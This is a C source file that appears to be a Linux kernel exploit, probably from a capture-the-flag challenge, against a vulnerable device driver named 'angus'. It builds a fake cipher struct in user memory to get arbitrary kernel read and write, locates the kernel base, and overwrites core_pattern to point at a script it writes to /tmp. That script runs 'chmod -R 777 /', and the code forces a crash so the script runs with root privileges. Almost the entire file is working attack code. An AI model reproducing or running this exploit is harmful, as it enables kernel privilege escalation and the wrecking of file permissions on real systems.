#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/param.h>
#define VULN_DEVICE_NAME "angus"
#define VULN_DEVICE_MAX_LEN 0x1000
#define VULN_CMD_INIT 0x13370001
#define VULN_CMD_SETKEY 0x13370002
#define VULN_CMD_SETDATA 0x13370003
#define VULN_CMD_GETDATA 0x13370004
#define VULN_CMD_ENCRYPT 0x13370005
#define VULN_CMD_DECRYPT 0x13370006
#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define CORE_PATTERN_OFFSET (0xeb1820)
static void fatal(const char *msg) {
perror(msg);
exit(-1);
}
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
typedef struct {
char *ptr;
size_t len;
} request_t;
int vuln_dev_fd = -1;
static uint64_t vuln_dev_init() {
request_t req = {.ptr = NULL, .len = 0};
return ioctl(vuln_dev_fd, VULN_CMD_INIT, &req);
}
static uint64_t vuln_dev_setkey(void *key, size_t key_len) {
request_t req = {.ptr = key, .len = key_len};
return ioctl(vuln_dev_fd, VULN_CMD_SETKEY, &req);
}
static uint64_t vuln_dev_setdata(void *data, size_t data_len) {
request_t req = {.ptr = data, .len = data_len};
return ioctl(vuln_dev_fd, VULN_CMD_SETDATA, &req);
}
static uint64_t vuln_dev_getdata(void *out, size_t out_len) {
request_t req = {.ptr = out, .len = out_len};
return ioctl(vuln_dev_fd, VULN_CMD_GETDATA, &req);
}
static uint64_t vuln_dev_xor() {
request_t req = {.ptr = NULL, .len = 0};
return ioctl(vuln_dev_fd, VULN_CMD_ENCRYPT, &req);
}
static void *fake_xor_cipher_mem = (void *)-1;
const size_t fake_xor_cipher_mem_size = 0x2000;
static XorCipher *fake_xor_cipher = (void *)-1;
static XorCipher *make_fake_xor_cipher() {
fake_xor_cipher_mem =
mmap(0, fake_xor_cipher_mem_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (fake_xor_cipher_mem < 0) {
fatal("mmap");
}
fake_xor_cipher = (XorCipher *)fake_xor_cipher_mem;
return fake_xor_cipher;
}
static void AAR(void *out, uint64_t addr, size_t len) {
fake_xor_cipher->data = (void *)addr;
fake_xor_cipher->datalen = len;
vuln_dev_getdata(out, len);
}
static uint64_t AAR64(uint64_t addr) {
uint64_t ret = 0;
AAR(&ret, addr, 8);
return ret;
}
static void AAW(const void *data, uint64_t addr, size_t len) {
uint8_t *val = (uint8_t *)(fake_xor_cipher_mem + VULN_DEVICE_MAX_LEN);
const uint8_t *src = (const void *)data;
fake_xor_cipher->key = val;
while (len != 0) {
const size_t step_len = MIN(VULN_DEVICE_MAX_LEN, len);
AAR(val, addr, step_len);
for (int i = 0; i < step_len; ++i) {
val[i] ^= *src++;
}
fake_xor_cipher->data = (void *)addr;
fake_xor_cipher->datalen = step_len;
fake_xor_cipher->keylen = step_len;
vuln_dev_xor();
addr += step_len;
len -= step_len;
}
}
static void AAW64(uint64_t addr, uint64_t val) { AAW(&val, addr, 8); }
static uint64_t leak_kernel_base() {
for (uint64_t addr = KERNEL_BASE_START; addr <= KERNEL_BASE_END;
addr += 0x100000) {
uint64_t val = AAR64(addr);
if (val == 0x4800e03f51258d48) {
return addr;
}
}
return (uint64_t)-1;
}
int main() {
vuln_dev_fd = open("/dev/" VULN_DEVICE_NAME, O_RDONLY);
if (vuln_dev_fd < 0) {
fatal("open vuln_dev");
}
make_fake_xor_cipher();
uint64_t kernel_base = leak_kernel_base();
if (kernel_base == (uint64_t)-1) {
fatal("kernel_base");
}
printf("[+] kernel_base: %p\n", (void *)kernel_base);
printf("[*] core_pattern: %p\n", (void *)(kernel_base + CORE_PATTERN_OFFSET));
system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
const char kCorePattern[] = "|/tmp/evil.sh";
const size_t kCorePatternLen = strlen(kCorePattern);
AAW(kCorePattern, kernel_base + CORE_PATTERN_OFFSET, kCorePatternLen);
system("ulimit -c unlimited");
uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
*evil_ptr = 0xdeadbeefcafebebe;
munmap(fake_xor_cipher_mem, fake_xor_cipher_mem_size);
return 0;
}